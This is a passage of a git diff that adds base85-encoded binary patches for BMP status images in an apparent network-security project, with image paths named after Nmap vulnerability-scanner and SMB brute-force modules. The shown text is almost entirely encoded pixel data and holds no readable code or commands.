zVEr(B!U;m*Iv!dR_QB{pOqh3&g?4%>V!Z literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner7.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2742da4c381c5dbe14a1f7cab7351947c3403be3 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce1.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 zcmd^`2Xqt1-u6wgjlnkVy*Ih4*Oj#DyIOU*_in09u>pg-B=1qnBtcL!-*wSy(c#H9$Rpyh$9O&vkxD?lc*B@yA>)ns(I)1#X8)W{z3tR#cxWJJ^D|!yE?K!r- z=fsxYGoSSR{%wEv*?axngM;^9jQfRH@7_3n^URK(V{cqPw5$g}9D2Ry;PM{4YAYXV zRrjHlH;%69JN`!Rv9;ZYR^2$Vx(Dd6S%+5l{BMB_H;=9D`*AJE(0y=a&mnU;pahTr zZx1XtHxjtfvhHJV-8}p0-CLJl0QdP>2M6x-{IsEa|H2*sdSulNQ2iro@I9_ok97Cc zTUWk&{m1R?zwTai`{%cA9e<duL`z$rY#1DP8J6pl9!K!3gahXp;SKYD?fety;=(1ULL(tCPa&(Sx#4}+#(cH{8! z8^BatD{mZL)q7+$aA;k_BqS(?7fR&$5h^m2zwTMmfAY;+$8e`_9mg#M>OHpR_Q^Mo zemHlMTnPCRxWTdN2;xVJXZQc~Cf;~>d#vm}u&f8@Aa3n-@b>6iy=OnVd+Xx=iLaKM z3=R(5>$`O4+KIm3_uV@C@y(N4Zv40oH~7$sd#BdE(=vq_7}dG_tsMuBt$6QaDI+-( z;-BBsb?v~4KlXK<`)bMgua^A2Zz-_(#}DVC1e#tle%LQP`mZXOQwP5O 